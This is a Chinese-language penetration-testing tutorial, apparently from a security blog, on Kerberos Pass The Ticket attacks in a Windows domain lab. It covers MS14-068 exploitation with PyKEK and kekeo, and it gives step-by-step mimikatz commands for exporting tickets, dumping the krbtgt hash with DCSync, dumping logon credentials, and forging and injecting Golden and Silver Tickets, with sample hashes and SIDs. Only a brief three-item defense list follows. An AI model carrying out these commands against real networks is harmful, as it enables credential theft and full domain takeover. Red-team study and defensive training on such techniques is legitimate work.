域滲透——Pass The Ticket
0x00 前言
上篇介紹了有關Pass The Hash 和Pass The Key的技巧,這次接著介紹一下Pass The Ticket
此圖片引用自http://dfir-blog.com/2015/12/13/protecting-windows-networks-kerberos-attacks/
0x01 簡介
在域環境中,Kerberos協議被用來作身份認證,上圖所示即為一次簡單的身份認證流程,具體細節可以參考相關資料,這裡僅介紹幾個名詞:
- KDC(Key Distribution Center): 金鑰分發中心,裡面包含兩個服務:AS和TGS
- AS(Authentication Server): 身份認證服務
- TGS(Ticket Granting Server): 票據授予服務
- TGT(Ticket Granting Ticket): 由身份認證服務授予的票據,用於身份認證,儲存在記憶體,預設有效期為10小時
- Pass The Ticket: 如果我們能夠拿到使用者的TGT,並將其匯入到記憶體,就可以冒充該使用者獲得其訪問許可權
在瞭解了相關名詞之後,我們從實際利用的角度來介紹與Pass The Ticket有關的技術
測試環境:
#!bash
域控:
os:server 2008 r2 x64
ip:192.168.40.132
域內主機:
os:win7 x64
ip:192.168.40.225
0x02 MS14-068
時至今日,該漏洞已經過去一年多,針對其攻擊的防禦檢測方法已經很成熟,所以對其利用方法做一個回顧。
1、PyKEK
最先公開的利用方法是Sylvain Monné用Python實現的PyKEK
準備條件:
- 域使用者及其口令
- 域使用者對應sid
- 域控地址
- Win7及以上系統
Tips:
- 作業系統要求Win7及以上,這是因為XP不支援匯入Ticket
- 攻擊主機可使用其他域使用者資訊,比如可以在主機A上用域使用者B的口令及sid攻擊
- 將Python指令碼轉成exe即可在任意一臺Windows主機使用
漏洞利用的步驟為:
- 如果漏洞觸發成功,會生成.ccache檔案
- 透過klist purge先清除記憶體中的Ticket
- 使用mimikatz的ptc功能將.ccache匯入到記憶體
- 透過klist檢視匯入的Ticket
- 使用net use 連線域控
Tips:
- 如果不先清除記憶體中的Ticket直接匯入,有可能會失敗
- 連線域控要使用域控地址,不要用IP
2、kekeo
Benjamin DELPY用c實現了MS14-068的利用工具,更簡單高效。
因為域使用者對應sid本就可以透過程式自動獲取,清除匯入票據也能自動實現,當然,如果想用其他域使用者資訊攻擊,也可以加上sid手動匯入票據
kekeo的快捷用法僅需要以下引數:
- 域使用者及其口令
- 域控地址
實際測試如圖,成功獲得了域控的訪問許可權
下載地址:
https://github.com/gentilkiwi/kekeo/releases
0x03 Export the ticket
在我們成功獲得域控許可權後,就可以匯出域控記憶體中的Ticket,在預設的10個小時以內都可以利用來登入域控
透過mimikatz匯出記憶體中的Ticket,執行:
#!bash
sekurlsa::tickets /export
如圖
儲存成檔案,一共匯出如下檔案,如圖
挑選其中的[0;2d87a][email protected]
在域普通使用者的主機進行匯入
執行:
#!bash
mimikatz "kerberos::ptt C:\test\[0;2d87a][email protected]"
如圖,匯入成功
檢視是否有域控許可權,如圖
Tips:
- 64位系統使用ptt功能要用32位的mimikatz,如果用64的mimikatz,那麼無法匯入Ticket
- 這種方式匯入的Ticket預設在10小時以內生效
0x04 Golden Ticket
每個使用者的Ticket都是由krbtgt的密碼Hash來生成的,那麼,我們如果拿到了krbtgt的密碼Hash,不就可以隨意偽造Ticket了嗎?
實際上只要拿到了域控許可權,在上面就可以很容易的獲得krbtgt的Hash值,再透過mimikatz即可生成任意使用者任何許可權的Ticket,也就是Golden Ticket
1、匯出krbtgt的Hash
在域控上執行
#!bash
mimikatz log "lsadump::dcsync /domain:test.local /user:krbtgt"
生成mimikatz.log記錄輸出,使用log輸出是為了方便複製Hash值
如圖:
找到如下資訊:
#!bash
/domain:test.local
/sid:S-1-5-21-4155807533-921486164-2767329826
/aes256:af71a24ea463446f9b4c645e1bfe1e0f1c70c7d785df10acf008106a055e682f
2、生成Golden Ticket
偽造的使用者設定為god,執行
#!bash
mimikatz "kerberos::golden /domain:test.local /sid:S-1-5-21-4155807533-921486164-2767329826
/aes256:af71a24ea463446f9b4c645e1bfe1e0f1c70c7d785df10acf008106a055e682f /user:god
/ticket:gold.kirbi"
生成檔案gold.kirbi
Tips:
生成Golden Ticket不僅可以使用aes256,也可用krbtgt的NTLM hash
可以用mimikatz "lsadump::lsa /patch"
匯出
如圖
匯入Golden Ticket,執行如下命令:
#!bash
kerberos::ptt c:\test\gold.kirbi
如圖,成功獲得域控許可權
Tips:
- 這種方式匯入的Ticket預設在20分鐘以內生效,當然,如果過期了,再次ptt匯入Golden Ticket就好
- 可以偽造任意使用者,即使其不存在
- krbtgt的NTLM hash不會輕易改變,即使修改域控管理員密碼
0x05 Silver Ticket
Silver Ticket是偽造的TGS(Ticket Granting Server)ticket,所以也叫service ticket
將它同Golden Ticket做對比:
1、訪問許可權不同
Golden Ticket是偽造的TGT(Ticket Granting Ticket),所以可以獲取任何Kerberos服務許可權
Silver Ticket是偽造的TGS,也就是說其範圍有限,只能訪問指定的服務許可權
2、加密方式不同
Golden Ticket是由krbtgt的hash加密
Silver Ticket是由服務賬戶(通常為計算機賬戶)hash加密
3、認證流程不同
Golden Ticket在使用的過程需要同域控通訊
Silver Ticket在使用的過程不需要同域控通訊
舉例說明Silver Ticket:
正常的認證流程為
此圖片引用自http://dfir-blog.com/2015/12/13/protecting-windows-networks-kerberos-attacks/
如果使用了Silver Ticket,認證流程變為
此圖片引用自http://dfir-blog.com/2015/12/13/protecting-windows-networks-kerberos-attacks/
不難看出其中取消了步驟1-4
也就是說只要手裡有Silver Ticket,就可以跳過KDC認證,直接去訪問指定的服務。
比如現在要訪問域控上的“cifs”服務(cifs服務用於Windows主機間的檔案共享)
首先需要獲得如下資訊:
- /domain
- /sid
- /target:目標伺服器的域名全稱,此處為域控的全稱
- /service:目標伺服器上面的kerberos服務,此處為cifs
- /rc4:計算機賬戶的NTLM hash,域控主機的計算機賬戶
- /user:要偽造的使用者名稱,此處可用silver測試
在域控上執行如下命令來獲取域控主機的本地管理員賬戶hash
#!bash
mimikatz log "sekurlsa::logonpasswords"
如圖
注:
此處要找到計算機賬戶,也就是
Username : WIN-8VVLRPIAJB0$
的NTLM hash
,如果是其他賬戶,那麼會失敗
整理以上獲得的資訊如下:
- /domain:test.local
- /sid:S-1-5-21-4155807533-921486164-2767329826
- /target:WIN-8VVLRPIAJB0.test.local
- /service:cifs
- /rc4:d5304f9ea69523479560ca4ebb5a2155
- /user:silver
使用mimikatz執行如下命令匯入Silver Ticket
#!bash
mimikatz "kerberos::golden /domain:test.local /sid:S-1-5-21-4155807533-921486164-2767329826 /target:WIN-8VVLRPIAJB0.test.local /service:cifs /rc4:d5304f9ea69523479560ca4ebb5a2155 /user:silver /ptt"
如圖,成功匯入,此時可以成功訪問域控上的檔案共享
為了加深理解,再舉一個例子
訪問域控上的“LDAP”服務
整理資訊如下,只需要把/service的名稱改為LDAP,/user改為krbtgt,/rc4改為krbtgt的NTLM HASH
- /domain:test.local
- /sid:S-1-5-21-4155807533-921486164-2767329826
- /target:WIN-8VVLRPIAJB0.test.local
- /service:LDAP
- /rc4:d5304f9ea69523479560ca4ebb5a2155
- /user:krbtgt
mimikatz匯入Silver Ticket的命令為:
#!bash
mimikatz "kerberos::golden /domain:test.local /sid:S-1-5-21-4155807533-921486164-2767329826 /target:WIN-8VVLRPIAJB0.test.local /service:LDAP /rc4:d5304f9ea69523479560ca4ebb5a2155 /user:krbtgt /ptt"
此時dir \\WIN-8VVLRPIAJB0.test.local\c$
發現無法訪問,也就是前面提到的
Silver Ticket是偽造的TGS,也就是說其範圍有限,只能訪問指定的服務許可權
如圖,雖然成功匯入,但是無法訪問域控的檔案共享
但是執行如下命令可以遠端訪問LDAP服務來獲得krbtgt的資訊:
#!bash
mimikatz "lsadump::dcsync /dc:WIN-8VVLRPIAJB0.test.local /domain:test.local /user:krbtgt"
如圖,成功遠端獲得krbtgt賬戶資訊
注:
lsadump::dcsync
向 DC 發起一個同步物件(可獲取帳戶的密碼資訊)的質詢。
需要的許可權包括管理員組(Administrators),域管理員組( Domain Admins)或企業管理員組(Enterprise Admins)以及域控制器的計算機帳戶
只讀域控制器預設不允許讀取使用者密碼資料
引數選項:
/user - 要查詢的使用者id 或 SID
/domain(可選的)預設設定為當前域。
/dc(可選的)指定DCSync 連線的域控位置
當然,還有其他服務可透過偽造Silver Ticket訪問:
如圖列舉了其他可用作Silver Ticket的服務:
此圖片引用自https://adsecurity.org/?p=2011
0x06 防禦
- 域控及時更新補丁
- 時刻監控域控日誌
- 限制mimikatz使用
0x07 小結
本文介紹了和Pass The Ticket有關的技術,著重對實際使用的一些情況做了演示,無論攻防,只有實踐,才會進步。
Real knowledge comes from practices.
0x08 參考資料:
- http://www.roguelynn.com/words/explain-like-im-5-kerberos/
- https://www.youtube.com/watch?v=ztY1mqsBedE
- https://adsecurity.org/?p=1515
- https://adsecurity.org/?p=1640
- https://adsecurity.org/?p=2011
- http://dfir-blog.com/2015/12/13/protecting-windows-networks-kerberos-attacks/
本文由三好學生原創並首發於烏雲drops,轉載請註明
相關文章
- 域滲透——Pass The Hash & Pass The Key2020-08-19
- 7、域滲透——Pass The Hash的實現2018-06-11
- 內網滲透-初探域滲透2024-10-28內網
- 域滲透——Skeleton Key2020-08-19
- 域滲透——Hook PasswordChangeNotify2020-08-19Hook
- 域滲透之利用WMI來橫向滲透2024-06-24
- 域內滲透基本技巧2020-08-19
- 域滲透——Security Support Provider2020-08-19IDE
- 3、域滲透詳解2018-06-10
- 域滲透——Local Administrator Password Solution2020-08-19
- 域滲透之ldap協議2020-11-21LDA協議
- 技術分享 | 域滲透AdminSDHolder2021-03-11
- 域滲透的金之鑰匙2020-08-19
- 安全技術 | 域滲透之SPN2020-10-19
- 域滲透之初識Kerberos認證過程2024-06-19ROS
- 2、超詳細的域滲透過程2018-06-11
- 9、Metasploit域滲透測試全程實錄2018-06-11
- 10、一篇經典的域滲透文章2018-06-11
- 1、域滲透基礎簡單資訊收集2018-06-11
- 域滲透之初識LM&NTLM認證過程2024-06-16
- 14、域滲透神器Empire安裝和簡單使用2018-06-14
- 11、域滲透測試中使用到的命令+工具2018-06-11
- 【CTF】msf和impacket聯合拿域控內網滲透-拿域控2021-09-26內網
- wifi滲透2020-08-08WiFi
- 6、域滲透中查詢域使用者對域成員機器關係2018-06-11
- 域滲透——Dump Clear-Text Password after KB2871997 installed2020-08-19
- 8、域滲透——獲得域控伺服器的NTDS.dit檔案2018-06-11伺服器
- metasploit滲透測試筆記(內網滲透篇)2020-08-19筆記內網
- 12、強大的內網域滲透提權分析工具——BloodHound2018-06-14內網
- 滲透測試會用到哪些工具?滲透測試教程2021-08-05
- Me-and-My-Girlfriend-1靶機滲透 (Vulnhub內網滲透)2024-11-03內網
- 內網滲透應用 跨vlan滲透的一種思路2020-08-19內網
- 域滲透之ATT&CK實戰系列——紅隊實戰(一)2024-06-22
- 域滲透 | kerberos認證及過程中產生的攻擊2022-03-24ROS
- 記一次大型且細小的域滲透實戰2021-02-01
- 15、基於psexec的域滲透測試工具—Smbexec v2.02018-06-14
- 16、DeathStar:一鍵自動化域滲透工具(含演示視訊)2018-06-14
- 內網滲透工具2024-06-10內網